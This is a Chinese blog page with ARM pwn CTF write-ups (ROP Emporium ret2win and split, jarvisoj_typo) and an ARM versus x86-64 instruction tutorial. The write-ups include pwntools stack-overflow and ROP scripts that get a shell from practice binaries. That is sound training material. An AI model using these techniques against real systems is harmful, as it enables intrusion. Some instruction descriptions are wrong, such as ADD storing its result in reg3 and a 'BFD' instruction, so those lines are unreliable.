CoLin's BLOG
0%

发表于 更新于 分类于 ，
本文字数： 1.8k 阅读时长 ≈ 2 分钟

由于网上的ARM pwn题很少很难找，因此这里拿ROP Emporium的8道题做练习，这个网站有包含x86-64、x86-32、MIPS、ARM共4种架构的elf文件可以做。

A. ret2win

注意：在执行需要动态链接库加载的ARM elf文件时，如果直接使用qemu-arm xxx有可能会报错：/lib/ld-linux.so.3: No such file or directory。解决方法：安装arm交叉编译包apt install gcc-arm-linux-gnueabi，找到交叉编译包的lib地址（一般都是/usr/arm-linux-gnueabi），在命令后添加-L /usr/arm-linux-gnueabi即可。


这是一道最为简单的栈溢出，ret2text。为了熟悉ARM指令，我们从汇编层面进行分析。

可以看到，在ARM的函数调用规则中，参数的赋值顺序是从右到左，如下方BL指令调用read函数前，首先将第3个参数nbytes赋值给R2寄存器。在pwnme函数开头有一个PUSH指令，这里的R11可以看做是rbp，LR是函数返回值，在函数开头这两个寄存器基本都是要入栈的。然后保存R11的值作为栈帧的标记，SP下移留出栈空间。这就是函数开头需要完成的工作，与x86-64架构如出一辙。

下面看到read函数的调用部分。第二个参数R1的值为R11-0x24，由于R11在往上就是返回地址，因此要修改返回地址，应该先写入0x24长度的无效字节，然后写后门函数的返回地址。

最后看一下函数即将返回之前需要完成的工作。首先恢复SP为R11-4，然后R11出栈，PC出栈。在正常情况下，这里的R11出栈后应该指向父函数的栈空间顶端。现在我们进行了栈溢出，修改了这里的值，R11就无效了。

1
2
3
4
5
6
7
8
from pwn import *
context.arch='arm'
context.log_level='debug'

io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi/', './ret2win_armv5'])

io.sendlineafter(b'> ', cyclic(0x24) + p32(0x105ec))
io.interactive()

B. split


这里有一个有用的字符串和一个后门函数，只不过这个后门函数不能让我们拿到shell，很自然的想法就是调用system函数，参数改成那个字符串的地址。

由于该elf文件的加载地址固定，我们就直接在elf文件中寻找可用的gadget。

不同于x86-64架构，ARM架构下的gadget似乎要更少一些。如上图所示，只用pop指令的gadget中没有能够pop r0的，我们只能扩大范围进行查找：

在这里插入图片描述

于是我们找到了这个gadget，它可以和上面的pop {r3, pc}连接起来，首先修改r3的值，再修改r0的值即可。于是我们的exp呼之欲出：

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch='arm'
context.log_level='debug'

io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi/', './split_armv5'])

popr3pc = 0x103a4
movr0r3_popfppc = 0x10558
shellstr = 0x2103c
callsystem = 0x105e0

io.sendlineafter(b'> ', cyclic(0x24) + p32(popr3pc) + p32(shellstr) + p32(movr0r3_popfppc) + p32(0) + p32(callsystem))
io.interactive()

PS：本来想发三道题的，但是这周末比赛打的太累了，第三题就留到后面一篇文章发了，还请谅解。

发表于 更新于 分类于 ，
本文字数： 1.1k 阅读时长 ≈ 1 分钟

上一篇文章中笔者对ARM架构的寄存器和指令集做了简单的介绍，本文就来首杀ARM pwn题。

buuoj 第139题 jarvisoj_typo

这一题是静态编译的程序，对于ARM可执行文件，在x86架构的虚拟机上可以使用qemu-arm ...来执行。

我们首先来执行看一下这个程序有什么输出。

在程序一开始输出了一段字符串，我们可以在IDA中用Shift+F12来查看elf文件中所有硬编码的字符串：

然后根据交叉引用找到该字符串被引用的位置：

根据程序的输入，我们可以猜测出其中一部分库函数，如这里的write、getchar等。看上去这是一个正常的输入程序，一个typing test，如果输入的内容和程序输出相同就会继续输出一个单词等待用户输入，否则输出error。

这里可以推测sub_8D24是关键输入函数。

这里的input应该就是输入的缓冲区，我们需要进行调试确定到底是哪一步执行了读取用户输入的操作：qemu-arm后加-g选项指定端口，就可以通过gdb-multiarch进行调试。经过调试发现上图中的read函数就是读取的函数，且最大读取大小为512字节，这明显就造成了栈溢出。

从上图可知，覆盖返回地址需要先输入0x70字节。在elf文件中可以发现字符串/bin/sh:

引用字符串/bin/sh的函数就是system函数。因此我们可以找到system函数的地址为0x10BA8。需要注意ARM架构函数的调用约定：前4个参数保存在R0~R3，之后的参数从右至左压栈。因此要想执行system("/bin/sh")，就需要将寄存器R0的值修改为字符串'/bin/sh'的地址，返回地址可以通过栈溢出直接修改。考虑到这是一个静态编译的文件，很容易就可以想到使用一个简单的ROP来实现寄存器修改操作。

找到合适的ROP地址为0x20904，可以在修改寄存器R0的值之后修改PC的值。现在可以编写exp了。

1
2
3
4
5
6
7
8
9
from pwn import *
context.arch='arm'
context.log_level='debug'

io = process(['qemu-arm-static', './typo'])
io.sendafter(b'quit\n', b'\n')
io.send(cyclic(0x70) + p32(0x20904) + p32(0x6c384) + p32(0) + p32(0x10ba8))

io.interactive()

成功getshell。这题看来不难，只是一个简单的不能再简单的ROP。

发表于 更新于 分类于 ，
本文字数： 6.8k 阅读时长 ≈ 6 分钟

最近笔者刚刚加入了一个项目组，需要用到ARM架构的东西，和ARM pwn也有一定关系，因此一不做二不休，决定开始学习ARM pwn，顺便熟悉项目前置知识，一举两得。

ARM与x86分属不同架构，指令集不同，需要从头开始学习，本文从寄存器、指令方面对x86-64和ARM架构下的汇编语言做比较与学习。（配图选自清华大学出版社《ARM Cortex-M3与Cortex-M4权威指南》，侵删）

A. 寄存器

寄存器是汇编语言的核心，在x86-64系统中，最为常见的寄存器有以下这些：

1
2
3
4
5
6
7
8
64位：
rax, rbx, rcx, rdx
rsi, rdi, rsp, rbp, rip
r8, r9, r10, r11, r12, r13, r14, r15
32位：
eax, ebx, ecx, edx
esi, edi, esp, ebp, eip
r8d, r9d, r10d, r11d, r12d, r13d, r14d, r15d

在大多数程序中，这17个寄存器是最为常用的寄存器，其中rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip有专门的作用，但其中的rax, rbx, rcx, rdx, rsi, rdi功能相对更加灵活，不像rsp只能用于表示栈顶地址，rbp只能用于表示栈帧地址，rip只能用于表示当前指令地址等。另外的8个寄存器则是通用寄存器，想用来干嘛就干嘛。

那么在ARM架构中，寄存器则是以下这些：

1
2
3
4
5
6
64位：
X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X12
X13, X14, X15
32位：
R0, R1, R2, R3, R4, R5, R6, R7, R8, R9, R10, R11, R12
R13, R14, R15

其中R0~R12为通用寄存器，共13个，剩下的3个有特殊用途：

  • R13为栈指针，又称SP，相当于rsp，在物理上实际上有两个栈指针：主栈指针和进程栈指针，一般的进程只有一个栈指针可见。这个也好理解，就好比在x86-64系统中，内核的栈指针和用户进程的栈指针不同一样。
  • R14为链接寄存器，又称LR，用于保存函数调用时的返回值。在x86-64系统中，函数调用的返回值是保存在子函数栈帧的上面，即rbp+8的位置，在ARM系统中，函数调用同样需要将返回地址保存到栈中，因为LR在函数返回时会进行自动更新，如果栈中没有返回地址，那么LR就不知道要更新成什么值了。当然LR的作用不止这些，在后面遇到具体问题时再进行分析。
  • R15为程序计数器，又称PC，可读可写。读操作返回当前指令地址+4（由ARM指令集特性决定，ARM指令集中任何一条指令都是偶数长度，与x86-64不同），写操作会导致执行流跳转。PC的最低有效位（LSB）是一个控制结构，为1时表示进入Thumb状态。当有些时候程序跳转更新PC时需要将新PC值的LSB置1，否则会触发错误异常。这也可以看做是一种程序恶意跳转的保护机制。有时还会将PC作为基址访问数据。

除了这些寄存器之外，两个架构下都各自有各自的特殊寄存器，如x86-64架构下的rflags控制寄存器用于保存程序执行的状态。在ARM中同样具有类似功能的控制寄存器：

  • APSR：应用状态寄存器
  • EPSR：执行状态寄存器
  • IPSR：中断状态寄存器
    上面的三个寄存器可以通过一个组合寄存器PSR访问，在不同的ARM架构中状态寄存器的排布有一定不同：

3个中断-异常屏蔽寄存器的功能较少用到，这里先不进行讨论。
CONTROL寄存器确定了栈指针的选择和线程模式的访问等级，其只能够在特权等级下才能进行修改。


其中具体的细节阐述较为繁琐，不是本文的重点，略过。

另外，在x86-64架构和ARM架构中都有很多的浮点数寄存器，用于进行浮点数计算。在ARM架构中，浮点数寄存器有32个32位寄存器S0~S31，其中可以两两组合访问为D0~D15，如S0和S1组合为D0。

B. 指令集

ARM的指令集和x86-64有一些相似之处，但也有一些不同，需要注意的是，ARM的立即数前面需要加上#标识，如#0x12345678。下面的指令均为32位系统下的指令。

B.1 寄存器传送数据

与x86相同，ARM使用MOV系列指令进行寄存器与寄存器（立即数）之间的数据传送：

  • MOV/MOVS reg1, <reg2/imm8>：赋值reg1为reg2/imm8
  • MOVW <reg32>, <imm16>：赋值reg32的低16位为imm16
  • MOVT <reg32>, <imm16>：赋值reg32的高16位为imm16
  • MVN reg1, <reg2>：将reg2的值取反之后赋值给reg1
  • LDR <reg32>, =<imm32>①：赋值reg32为imm32

备注：
① 这里的指令并不是一条真正的指令，而是一条伪指令。ARM汇编器会将字符数据汇总组成一个称为 “文字池” 的数据块，与x86-64不同，后者如果需要实现将立即数赋值到寄存器，会直接将立即数写死到指令中。这里的LDR指令实际是做了寻址操作，将文字池地址中的数据赋值到寄存器中。如果需要将32位立即数赋值到32位寄存器，可以使用这条指令，也可以将MOVW和MOVT指令配合使用分别赋值前16位和后16位。

B.2 存储器传送数据

不同于x86使用mov指令可实现寄存器、立即数和内存空间的数据交换，ARM使用单独的指令集进行寄存器和内存空间的数据交换，其中基址可以选择任意一个通用寄存器或PC寄存器，变址也可以使用任意一个通用寄存器，较x86更加灵活：

  • LDRB/LDRH/LDR reg1, [<reg2/PC>, <imm32>]<!>：赋值8/16/32位reg2+imm32地址的数据到reg1，如果指令后面有叹号，表示指令执行后reg2值更新为reg2+imm32，有叹号可等同于 LDRB/LDRH/LDR reg1, [<reg2>], <imm32>，这种形式称为后序指令。
  • LDRD reg1, <reg2>, [<reg3/PC>, <imm32>]<!>：赋值64位reg3+imm32地址的数据到reg1和reg2，有叹号可等同于 LDRD reg1, <reg2>, [reg3], <imm32>
  • LDRSB/LDRSH reg1, [<reg2/PC>, <imm32>]<!>：有符号传送8/16位reg2+imm32地址的数据到reg1，目标寄存器会进行32位有符号扩展，有叹号可等同于 LDRSB/LDRSH reg1, [<reg2>], <imm32>
  • STRB/STRH/STR reg1, [<reg2>, <imm32>]<!>：保存寄存器reg1的8/16/32位值到reg2+imm32地址，有叹号可等同于 STRB/STRH/STR reg1, [<reg2>], <imm32>
  • STRD reg1, <reg2>, [reg3, <imm32>]<!>：保存寄存器reg1和reg2的64位值值到reg3+imm32地址，有叹号可等同于 STRD reg1, <reg2>, [reg3], <imm32>
  • LDRB/LDRH/LDR reg1, [<reg2/PC>, reg3{, LSL <imm>}]：赋值寄存器reg1的值为reg2/PC+(reg3{<<imm})地址处的8/16/32位值
  • LDRD reg1, <reg2>, [<reg3/PC>, <reg4-32>{, LSL <imm>}]：赋值寄存器reg1和reg2的值为reg3/PC+(reg4-32{<<imm})地址处的64位值
  • STRB/STRH/STR reg1, [<reg2>, reg3{, LSL <imm>}]：保存寄存器reg1的8/16/32位值到reg2+(reg3{<<imm})地址
  • LDMIA/LDMDB reg1<!>, <reg-list>：将reg1地址的值按照顺序保存到reg-list中的寄存器中，如果reg1后有叹号，则在保存值后自动增加（LDMIA）或减少（LDMDB）reg1。如LDMIA R0, {R1-R5}，LDMIA R0, {R1, R3, R6-R9}
  • STMIA/STMDB reg1<!>, <reg-list>：向reg1地址存入寄存器组中的多个字。如果reg1后有叹号，则在保存值后自动增加（STMIA）或减少（STMDB）reg1。

注意：后序指令不能使用PC寻址。

B.3 入栈出栈

虽然ARM与x86都使用push和pop指令进行入栈和出栈，但ARM可以实现一条指令多次出入栈。

  • PUSH <reg-list>：将寄存器组中的寄存器值依次入栈，reg-list中可以有PC、LR寄存器。
  • POP <reg-list>：将出栈的值依次存入寄存器组中的寄存器，reg-list中可以有PC、LR寄存器。

B.4 算术运算

不同于x86指令的大多数算术运算使用两个寄存器，ARM指令的算数运算指令通常包含3个寄存器，实现运算后的自由赋值而不是x86中必须赋值给目标寄存器且目标寄存器必须参与运算。

  • ADD/SUB reg1, <reg2>, <reg3/imm32>：计算<reg2>(+/-)<reg3/imm32>将结果保存到reg3
  • ADC/SBC reg1, <reg2>, reg3：计算<reg2>(+/-)reg3+(进位/借位)将结果保存到reg3
  • ADC <reg32>, <imm32>：计算reg32+imm32+进位将结果保存到reg32
  • SBC reg1, <reg2>, <imm32>：计算<reg2>-imm32-借位将结果保存到reg1
  • RSB reg1, <reg2>, <reg3/imm32>：计算<reg3/imm>-<reg2>将结果保存到reg1
  • MUL reg1, <reg2>, reg3：计算<reg2>*reg3将结果保存到reg1
  • UDIV/SDIV reg1, <reg2>, reg3：计算<reg2>/reg3（无符号/有符号）将结果保存到reg1，如果除以0，则结果为0
  • MLA reg1, <reg2>, reg3, <reg4-32>：计算reg1=<reg2>*reg3+<reg4-32>
  • MLS reg1, <reg2>, reg3, <reg4-32>：计算reg1=-<reg2>*reg3+<reg4-32>

B.5 逻辑运算

ARM支持x86格式的逻辑运算以及3运算符的逻辑运算。

  • AND/ORR/BIC/EOR reg1, <reg2>{, <reg3/imm32>}：如果reg3/imm存在，则表示reg1=<reg2>(&/|/&~/^)<reg3/imm32>，否则表示reg1=reg1(&/|/&~/^)<reg2>（与/或/与非/异或）
  • ORN reg1, <reg2>, <reg3/imm32>：表示reg1=<reg2>|~<reg3/imm32>（或非）

B.6 移位运算

  • ASR/LSL/LSR reg1, <reg2>{, <reg3/imm32>}：如果reg3/imm存在，则表示reg1=<reg2>(>>/<<)<reg3/imm32>，否则表示reg1=reg1(>>/<<)<reg2>（算数右移、逻辑左移、逻辑右移）
  • ROR reg1, <reg2>{, reg3}：如果reg3存在，则表示reg1=<reg2>(>>)reg3，否则表示reg1=reg1(>>)<reg2>（循环右移）

B.7 符号扩展

对应于x86中的movsx和movzx指令。

  • SXTB/SXTH reg1, <reg2>{, ROR <imm>}：右移<imm>位后有符号扩展<reg2>的低8/16位并赋值给reg1
  • UXTB/UXTH reg1, <reg2>{, ROR <imm>}：右移<imm>位后无符号扩展<reg2>的低8/16位并赋值给reg1

B.8 数据反转

将寄存器中的值按字节进行反转。

  • REV reg1, reg2：将reg2中的4字节数据按字节反转后赋值给reg1（reg2值不变），原先第0，1，2，3字节的内容被换到了第3，2，1，0字节。
  • REV16 reg1, reg2：将reg2中的4字节以字单位分为高字和低字分别进行反转后赋值给reg1（reg2值不变），原先第0，1，2，3字节的内容被换到了第1，0，3，2字节。
  • REVSH reg1, reg2：将reg2中的低2字节反转后有符号扩展赋值给reg1
  • REVH reg1, reg2：REV指令的16位表示，只反转低2字节。

B.9 位域操作

位域操作允许机器指令对寄存器中的特定位进行处理，在x86中好像是也有这样的指令，只是使用频率太低。

  • BFD reg1, #lsb, #width：将reg1中从第lsb位开始的连续width位清零。
  • BFI reg1, reg2, #lsb, #width：将reg2中最低width位复制到reg1中从lsb位开始的连续width位。
  • CLZ reg1, reg2：计算reg2中高位0的个数并赋值给reg1，多用于浮点数计算。
  • RBIT reg1, reg2：反转reg2寄存器中的所有位并赋值给reg1。
  • SBFX/UBFX reg1, reg2, #lsb, #width：取reg2中从第lsb位开始的连续width位并有/无符号扩展，赋值给reg1。

B.10 比较和测试指令

与x86使用cmp指令和test指令相似，ARM也有关于比较和测试的指令，且实现原理基本相同。

  • CMP reg1, reg2/imm：比较两个寄存器或寄存器与立即数，更新标志位APSR。
  • CMN reg1, reg2/imm：比较reg1和-reg2或-imm，更新标志位APSR。
  • TST reg1, reg2/imm：参照x86的test指令，相与测试，更新N（负数位）和Z（零）标志
  • TEQ reg1, reg2/imm：异或测试，更新N和Z标志

B.11 跳转指令

  • B/B.W <label>：无条件跳转到指定位置，B.W跳转范围更大。
  • BX reg：寄存器跳转。
  • BL <label> / BLX reg：跳转到指定位置/寄存器值，且将返回地址保存到LR寄存器中，类比x86的call指令。一般在函数开头都会首先将BL寄存器的值保存到栈中便于返回时获取。
  • 条件跳转指令族：类比x86指令：
    • BEQ == je
    • BNE == jne
    • BCS/BHS == jc（进位标志为1，可表示无符号大于等于）
    • BCC/BLO == jnc（进位标志为0，可表示无符号小于）
    • BMI == js（负数标志为1）
    • BPL == jns（负数标志为0）
    • BVS == jo（溢出标志为1）
    • BVC == jno（溢出标志为0）
    • BHI == ja（无符号大于）
    • BLS == jbe（无符号小于等于）
    • BGE == jge（有符号大于等于）
    • BLE == jle（有符号小于等于）
    • BGT == jg（有符号大于）
    • BLT == jl（有符号小于）
  • CBZ/CBNZ reg, <label>：比较寄存器的值为0/不为0时跳转（只支持前向跳转）